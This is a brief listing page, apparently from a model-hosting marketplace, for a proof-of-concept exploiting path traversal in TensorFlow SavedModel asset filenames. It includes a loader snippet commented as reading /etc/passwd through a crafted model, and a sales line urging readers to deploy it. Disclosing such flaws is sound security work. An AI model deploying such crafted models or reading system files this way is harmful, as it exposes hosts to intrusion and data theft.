You can deploy this model and start earning money today!

surrealgrain/
tf-savedmodel-path-traversal-poc

Name: tf-savedmodel-path-traversal-poc
Availability: InStock

Views

No views yet

TensorFlow SavedModel Path Traversal PoC

Proof-of-concept for path traversal via AssetFileDef.filename in TensorFlow's SavedModel loading.

Vulnerability: tensorflow/python/trackable/asset.py - unsanitized ../ in asset filenames.

python

import tensorflow as tf
model = tf.saved_model.load("./")
result = model.read_asset()
print(result.numpy().decode())  # Reads /etc/passwd